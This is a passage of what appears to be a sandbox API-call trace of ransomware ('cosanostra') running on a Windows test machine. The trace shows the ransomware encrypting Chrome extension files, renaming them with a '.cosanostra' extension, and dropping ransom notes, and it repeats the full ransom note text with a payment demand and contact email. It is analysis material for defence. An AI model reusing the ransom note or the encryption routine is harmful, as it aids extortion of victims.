(lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.594] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd5c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd5c*=0x2ac, lpOverlapped=0x0) returned 1 [0084.594] CloseHandle (hObject=0x188) returned 1 [0084.595] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcf8 | out: pbBuffer=0x28dfcf8) returned 1 [0084.595] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcf0*=0x30) returned 1 [0084.595] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.595] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 155 [0084.595] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.595] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfcb4*=0x112, lpOverlapped=0x0) returned 1 [0084.596] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xfffffeee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.596] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfcb4*=0x112, lpOverlapped=0x0) returned 1 [0084.596] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.596] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x28dfcf4*, lpNumberOfBytesWritten=0x28dfcb4*=0x4, lpOverlapped=0x0) returned 1 [0084.596] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfcb4*=0x30, lpOverlapped=0x0) returned 1 [0084.596] CloseHandle (hObject=0x188) returned 1 [0084.596] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.cosanostra") returned 166 [0084.596] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json.cosanostra")) returned 1 [0084.597] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfcf8 | out: pbBuffer=0x28dfcf8) returned 1 [0084.597] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcf0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcf0*=0x30) returned 1 [0084.597] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.597] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json") returned 155 [0084.597] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.597] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfcb4*=0xea, lpOverlapped=0x0) returned 1 [0084.598] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.598] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfcb4*=0xea, lpOverlapped=0x0) returned 1 [0084.598] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.598] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcf4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x28dfcf4*, lpNumberOfBytesWritten=0x28dfcb4*=0x4, lpOverlapped=0x0) returned 1 [0084.598] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfcb4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfcb4*=0x30, lpOverlapped=0x0) returned 1 [0084.598] CloseHandle (hObject=0x188) returned 1 [0084.599] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.cosanostra") returned 166 [0084.599] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\de\\messages.json.cosanostra")) returned 1 [0084.599] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.602] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.602] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb8f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd50, lpOverlapped=0x0 | out: lpBuffer=0x28dfb8f*, lpNumberOfBytesWritten=0x28dfd50*=0x1bf, lpOverlapped=0x0) returned 1 [0084.603] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.603] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd50, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd50*=0x2ac, lpOverlapped=0x0) returned 1 [0084.603] CloseHandle (hObject=0x188) returned 1 [0084.604] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.604] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.604] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb8b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd4c, lpOverlapped=0x0 | out: lpBuffer=0x28dfb8b*, lpNumberOfBytesWritten=0x28dfd4c*=0x1bf, lpOverlapped=0x0) returned 1 [0084.605] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.605] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd4c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd4c*=0x2ac, lpOverlapped=0x0) returned 1 [0084.605] CloseHandle (hObject=0x188) returned 1 [0084.605] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfce8 | out: pbBuffer=0x28dfce8) returned 1 [0084.605] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfce0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfce0*=0x30) returned 1 [0084.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.605] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json") returned 159 [0084.605] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.605] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfca4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfca4*=0xdd, lpOverlapped=0x0) returned 1 [0084.606] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.606] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x28dfca4, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfca4*=0xdd, lpOverlapped=0x0) returned 1 [0084.606] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.606] WriteFile (in: hFile=0x188, lpBuffer=0x28dfce4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfca4, lpOverlapped=0x0 | out: lpBuffer=0x28dfce4*, lpNumberOfBytesWritten=0x28dfca4*=0x4, lpOverlapped=0x0) returned 1 [0084.606] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfca4, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfca4*=0x30, lpOverlapped=0x0) returned 1 [0084.606] CloseHandle (hObject=0x188) returned 1 [0084.607] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.cosanostra") returned 170 [0084.607] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\messages.json.cosanostra")) returned 1 [0084.607] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\#RECOVERY_FILES#.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.607] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0084.607] WriteFile (in: hFile=0x188, lpBuffer=0x28dfb83*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x28dfd44, lpOverlapped=0x0 | out: lpBuffer=0x28dfb83*, lpNumberOfBytesWritten=0x28dfd44*=0x1bf, lpOverlapped=0x0) returned 1 [0084.608] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0084.608] WriteFile (in: hFile=0x188, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x28dfd44, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x28dfd44*=0x2ac, lpOverlapped=0x0) returned 1 [0084.608] CloseHandle (hObject=0x188) returned 1 [0084.608] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfce0 | out: pbBuffer=0x28dfce0) returned 1 [0084.609] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcd8*=0x30) returned 1 [0084.609] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.609] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 155 [0084.609] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0084.609] ReadFile (in: hFile=0x188, lpBuffer=0x2b9878, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesRead=0x28dfc9c*=0xdf, lpOverlapped=0x0) returned 1 [0084.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0xffffff21, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.610] WriteFile (in: hFile=0x188, lpBuffer=0x2b9878*, nNumberOfBytesToWrite=0xdf, lpNumberOfBytesWritten=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x2b9878*, lpNumberOfBytesWritten=0x28dfc9c*=0xdf, lpOverlapped=0x0) returned 1 [0084.610] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.610] WriteFile (in: hFile=0x188, lpBuffer=0x28dfcdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x28dfcdc*, lpNumberOfBytesWritten=0x28dfc9c*=0x4, lpOverlapped=0x0) returned 1 [0084.610] WriteFile (in: hFile=0x188, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x28dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x28dfc9c*=0x30, lpOverlapped=0x0) returned 1 [0084.610] CloseHandle (hObject=0x188) returned 1 [0084.610] wnsprintfW (in: pszDest=0x3021200, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.cosanostra") returned 166 [0084.610] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json.cosanostra")) returned 1 [0084.611] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x28dfce0 | out: pbBuffer=0x28dfce0) returned 1 [0084.611] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x28dfcd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x28dfcd8*=0x30) returned 1 [0084.611] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0084.611] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 